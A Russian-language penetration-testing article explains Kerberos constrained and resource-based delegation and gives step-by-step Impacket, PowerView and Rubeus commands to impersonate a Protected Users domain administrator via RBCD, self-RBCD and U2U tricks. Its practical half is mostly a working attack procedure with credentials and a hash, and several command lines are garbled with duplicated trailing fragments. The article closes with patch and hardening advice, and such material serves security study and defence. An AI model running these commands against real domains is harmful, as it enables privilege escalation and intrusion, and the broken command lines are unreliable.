Всем привет! Сегодня я хотел бы затронуть такую тему как ограниченное делегирование kerberos. На просторах интернета существует множество статей как злоупотреблять этим типом делегирования, но на хабре я не нашел статей про обход ограничений. А конкретно о настройке делегирования с Protocol Transition и олицетворяемом пользователе в группе Protected Users.
Но как быть, если мы получили хэш машинной учетки или пароль пользователя, и видим это?
А потом еще и это…
1. Члены этой группы могут аутентифицироваться только по протоколу Kerberos. Аутентифицироваться с помощью NTLM, дайджест-проверки (Digest Authentication) или CredSSP не получится.
2. Для пользователей этой группы в протоколе Kerberos при предварительной проверке подлинности не могут использоваться слабые алгоритмы шифрования, такие как DES или RC4 (требуется поддержка как минимум AES).
3. Эти учетные записи не могут быть делегированы через ограниченную или неограниченную делегацию Kerberos.
4. Долгосрочные ключи Kerberos не сохраняются в памяти. Это значит, что при истечении TGT (по умолчанию 4 часа) пользователь должен повторно аутентифицироваться.
5. Для пользователей данной группы не сохраняются данные для кэшированного входа в домен. Соответственно при недоступности контроллеров домена, эти пользователи не смогут аутентифицироваться на своих машинах через cached credential.
К счастью, в такой ситуации все не так печально, как кажется. Чарли Бромберг в своем докладе на InsomniHack поделился новыми техниками как раз для обхода таких ограничений. В этой статье я постараюсь подробно и понятным языком объяснить, как побороть боязнь трехглавой собачки сложных условий в ограниченном делегировании. Начнем, как обычно, с теоретической части и закончим практикой.
ДЕЛЕГИРОВАНИЕ KERBEROS
Делегирование используется, когда учетная запись сервера или службы должна выдавать себя за другого пользователя. Самый простой пример, когда веб-сервер олицетворяет пользователей при доступе к внутренним базам данных, обеспечивая доступ к данным.
Существует три вида делегирования:
1. Kerberos Unconstrained Delegation (KUD) - Неограниченное делегирование
2. Kerberos Constrained Delegation (KCD) - Ограниченное делегирование
3. Resource-based Constrained Delegation (RBCD) - Делегирование на основе ресурсов
Мы с вами будем разбирать два последних вида. Про KUD можно почитать тут.
Итак, Kerberos Constrained Delegation или сокращенно KCD.
KCD сокращает набор служб или ресурсов, к которым может подключаться конкретный сервер или приложение при олицетворении другого пользователя. Таким образом, мы можем выдавать себя за другого пользователя, но только на определенной машине и на определенной ее службе.
Зная хэш машинной УЗ CLIENT2, мы можем выдать себя за любого пользователя в домене, но пойти можем только к службе cifs на машине СLIENT1.
С УЗ юзера user1 все то же самое, можем ходить от имени любого другого пользователя, но только на cifs/CLIENT1 и cifs/ADCS.
Resource-based-constrained Delegation (RBCD)
Этот тип делегирования работает точно так же, как и KCD, но наоборот.
Другими словами, если в KCD устанавливалось так называемое исходящее доверие, то в RBCD устанавливается входящее. Один ресурс доверяет другому ресурсу, только набор служб уже неограничен.
За RBCD отвечает атрибут msDS-AllowedToActOnBehalfOfOtherIdentity. Этот атрибут используется для проверки доступа, чтобы определить, есть ли у отправителя запроса разрешение действовать от имени других учеток для служб, работающих под этой учетной записью.
Чтобы эксплуатировать RBCD в своих целях, у нас должна быть возможность создавать компьютеры внутри домена (это можно сделать благодаря атрибуту MS-DS-Machine-Account-Quota, который по умолчанию равен 10). Также нам необходимо иметь Generic Write/Generic ALL права на нашу цель, чтобы у нас была возможность писать в атрибут msDS-AllowedToActOnBehalfOfOtherIdentity.
Совсем недавно появилась возможность сделать это с помощью пользовательской учетки, почитать тут и тут. Советую пробежаться по этим статьям, так как к этому мы еще вернемся.
В настоящее время настроить RBCD через GUI не представляется возможным, но все можно сделать с помощью модуля PowerView:
Команды
PS> Set-DomainRBCD TARGET$ -DelegateFrom ATTACKERCOMP$ -Verbose
или Linux:
Команды
> rbcd.py -delegate-from ATTACKERCOMP$ -delegate-to TARGET$ -dc-ip 192.168.60.147 -action write 'thunter.lab/user:Password123'word
S4U2SELF & S4U2PROXY
Во время работы KCD в дело включаются две процедуры, которые имеют название S4U2Self и S4U2Proxy.
S4U2Self позволяет нам получить билет на себя от имени любого пользователя (необходим Forwardable флаг). Если говорить простым языком, то работает как “Привет KDC, ко мне пришел доменный администратор, дай мне ST для него на меня”
Тут нужно учесть, что:
Если пользователь, которого мы олицетворяем в Protected Users группе, то мы получим валидный билет, но без флага Forwardable
Если запрос не сконфигурирован для KCD, то мы получим валидный билет, но без флага Forwardable
Если запрос был сконфигурирован для KCD без protocol transition(с флагом kerberos-only), то мы получим валидный билет, но без флага Forwardable
S4U2Proxy позволяет нам получить билет для другого сервиса от имени пользователя клиента.
Если говорить простым языком, то работает как “Привет KDC, я хочу сходить на cifs/DC.thunter.lab от имени администратора домена, вот ST(Service Ticket) для него на меня (как доказательство), дай мне ST для него на cifs/DC.thunter.lab”
Запрос должен содержать дополнительный билет как доказательство аутентификации.
Этот дополнительный билет должен быть с флагом forwardable или содержать rbcd bit.
Мы должны иметь возможность злоупотреблять KCD (креды пользователя или креды машины, созданной для злоупотребления rbcd).
Если пользователь, которым мы хотим представиться, находится в Protected Users, то ничего не получится.
Все вместе это выглядит вот так:
Главное помнить, что
Protocol Transition
Существует два подвида простого KCD. Первый это KCD with Protocol transition (any authentication), второй - KCD without Protocol transition (kerberos only).
KCD without protocol transition (Kerberos only):
Cервису, настроенному на KCD without protocol transition нужно, чтобы пользователь прошел аутентификацию. В последствии мы будем иметь возможность представляться от его лица во время s4u2proxy.
Не может олицетворять любого пользователя без аутентификации.
KCD with protocol transition (any auth):
Cервис, настроенный на KCD with protocol transition, делает s4u2self вместо ожидания аутентификации. Это именно тот момент, где происходит имперсонализация, поэтому мы можем представляться другим пользователем.
ST полученный в результате s4u2self будет являться доказательством s4u2proxy того, что пользователь, которым мы представляемся, уже аутентифицировался.
Подведем ИТОГ нашей теоретической части.
Если KCD было настроено без Protocol transition, то просто так имперсонализировать других пользователей у нас не получится.
Чтобы все получилось, нам нужен Forwardable флаг ИЛИ RBCD бит в зашифрованной части билета (TGS-REQ’s PAPACOPTIONS). Как выяснилось, что при RBCD, KDC не столь важно наличие forwardable флага. KDC будет смотреть, есть ли в зашифрованной части билета rbcd бит и если он там будет, то мы получим то, что нам нужно.
Таким образом, чтобы обойти эти ограничения, нужно использовать s4u2proxy. Тогда можно будет получить билет, который будет соответствовать требованиям s4u2proxy, так как s4u2proxy постоянно вырабатывает билеты с флагом forwardable.
Ладно, все не так сложно, как кажется. Перейдём наконец к практической части статьи. Я буду делать все и c kali linux c помощью библиотеки Impacket и с помощью инструмента Rubeus. Для части где мы будем использовать пользовательскую учетку, Rubeus нужно будет немного переписать. Продублирую ссылку. Для удобства в демонстрации, я буду использовать пароли от машинных УЗ.
Сценарий
Мы получили пароль/хеш машинной учетной записи KCD$, на которой настроено ограниченное делегирование на сifs/ADCS.thunter.lab без protocol transition.
Посмотреть, как настроено делегирование в доменной инфраструктуре можно с помощью инструмента findDelegation.py из состава Impacket.
Команды
> sudo findDelegation.py thunter.lab/reguser:Password123
Так же, доменный администратор TH находится в группе Protected Users.
Как видим простой абъюз KCD тут не пройдет.
Поэтому будем пытаться использовать то, чему научились.
RBCD trick
Используем RBCD чтобы имитировать валидный для нас s4u2self билет -> s4u2proxy билет будет forwardable -> s4u2proxy отработает как нужно, так как мы подсунем ему билет где будет forwardable флаг.
1. Первым делом создаем машину
Команды
> sudo addcomputer.py -computer-name 'rbcd$' -computer-pass 'rbcd@123' -dc-host '192.168.60.147' -method 'LDAPS' -domain-netbios 'THUNTERLAB' 'thunter.lab/user:Password123'123'
2. Прописываем RBCD от нашей машины rbcd$ к машине KCD
Команды
> sudo rbcd.py -delegate-from rbcd$ -delegate-to KCD$ -dc-ip 192.168.60.147 -action write thunter.lab/Password12323te
3. Делаем s4u2self для TH
Команды
> sudo getTGT.py thunter.lab/rbcd$:’rbcd@123’ -dc-ip 192.168.60.147
> sudo KRB5CCNAME=rbcd$.ccache python3 getST.py -self -k -no-pass -impersonate TH -dc-ip 192.168.60.147 thunter.lab/rbcd:'rbcd@123'e TH
Хоть у нас и нет Forwardable флага, билет перенаправится за счет RBCD
4. Делаем s4u2proxy на host/KCD подставляя полученный выше билет
Команды
> sudo getST.py -additional-ticket TH@rbcd@THUNTER.LAB.ccache -spn host/KCD -impersonate TH -dc-ip 192.168.60.147 thunter.lab/rbcd:”rbcd@123"
Как видим, желамый флажок появился
5. Делаем KCD подставляя этот билет и... все прекрасно отработало.
Команды
> sudo getST.py -additional-ticket TH.ccache -spn cifs/ADCS -impersonate TH -dc-ip 192.168.60.147 thunter.lab/KCD$:Password123d
На Win
Добавляем машину rbcd$ в домен и прописываем RBCD
Команды
PS> . .\Powermad.ps1
PS> New-MachineAccount -MachineAccount rbcd -Password $(ConvertTo-SecureString 'rbcd@123' -AsPlainText -Force) -Verbose
PS> . .\PowerView.ps1
PS> Set-DomainRBCD KCD -DelegateFrom rbcd -Verbose
Rubeus
Запрашиваем TGT
Команды
PS> .\Rubeus.exe asktgt /user:kcd /rc4:58a478135a93ac3bf058a5ea0e8fdb71 /nowrap
Аналогично делаем и для машины rbcd$
2. Делаем s4u2self
Команды
PS> .\Rubeus.exe s4u /impersonate:TH /nowrap /ticket: rbcd$ TGT
3. Делаем s4u2proxy
Команды
PS> .\Rubeus.exe s4u /msdsspn:host/KCD /nowrap /ticket: rbcd TGT /tgs: ST из шага 2га 2
4. Делаем KCD
Команды
PS> .</span>Rubeus.exe s4u /msdsspn:cifs/ADCS /nowrap /ticket:TGT KCD$ /tgs: билет из шага 3га 3
У этого метода есть недостатки, во-первых, мы должны иметь возможность создать машину, во-вторых, должны иметь права на запись rbcd бита в атрибут KCD машины.
Self RBCD trick
Но что если мы настроим RBCD на самого себя?
1. Прописываем сами на себя RBCD
Команды
>sudo rbcd.py -delegate-from KCD$ -delegate-to KCD$ -dc-ip 192.168.60.147 -action write thunter.lab/KCD$:Password123123d
2. Делаем S4U2Proxy запрашивая билет на host/KCD для TH
Команды
> sudo getST.py -spn host/KCD -impersonate TH -dc-ip 192.168.60.147 thunter.lab/KCD:Password123d
3. Делаем KCD подставляя полученный выше билет
Команды
> sudo getST.py -additional-ticket TH.ccache -spn cifs/ADCS -impersonate TH -dc-ip 192.168.60.147 thunter.lab/KCD:Password123123d
Win
Команды
. .\PowerView.ps1
PS> Set-DomainRBCD KCD -DelegateFrom KCD -Verbose
1. Запрашиваем TGT
Команды
PS> .\Rubeus.exe asktgt /user:kcd /rc4:58a478135a93ac3bf058a5ea0e8fdb71 /nowrap
2. Делаем s2u2self на host/KCD с тикетом KCD
Команды
PS> .\Rubeus.exe s4u /msdsspn:host/KCD /impersonateuser:TH /nowrap /ticket:TGT шаг 1
3. Делаем KCD c tgs полученный на шаге 2 TGT на шаге 1.
Команды
PS> .\Rubeus.exe s4u /msdsspn:cifs/ADCS /nowrap /ticket: TGT шаг 1 /tgs: ST шаг 2аг 2
BONUS
В качестве бонуса вашему вниманию предлагается пересмотреть первый способ. Здесь будем использовать RBCD с помощью пользовательской учетки и механизма U2U. Смотреть на квоту для добавления машин в домен как вы понимаете, нам уже неинтересно.
1. Предположим, что мы знаем пароль пользователя user1 и нам РАЗРЕШИЛИ его менять, так как в итоге пароль от этой УЗ уедет в закат.
2. Прописываем RBCD на KCD$.
Команды
PS> . .\PowerView.ps1
PS> SetDomainRBCD KCD -DelegateFrom user1 -Verbose
3. Запрашиваем билет на host/KCD от имени доменного админа TH через процедуру U2U
Команды
PS> .\Rubeusu2u.exe s4u /u2u /user:user1 /rc4:58A478135A93AC3BF058A5EA0E8FDB71 /impersonateuser:TH /msdsspn:host/KCD /nowraprapw
4. Злоупотребляем Ограниченным делегированием
Команды
PS> .\Rubeus.exe asktgt /user:KCD /rc4:58a478135a93ac3bf058a5ea0e8fdb71 /nowrap
PS> .\Rubeus.exe s4u /msdsspn:cifs/ADCS /nowrap /ticket:TGT_KCD$ /tgs: билет из шага 3га 3
Иии получаем желаемый билет. Перед тем проводить такого рода атаку, предварительно 5 раз обсуждаем с заказчиком.
Итог
Вот и все, как видим с помощью RBCD мы успешно обходим ограничения, выставленные после настройки KDC без Protocol transition, а также наличие целевого пользователя в группе Protected Users.
К счастью, патч KB5014692 (14/06/2022) вышел два месяца назад, так что советуем всем обновиться. Еще спасет надстройка Account is sensitive and cannot be delegated и, конечно, не отказываемся от подписи LDAP.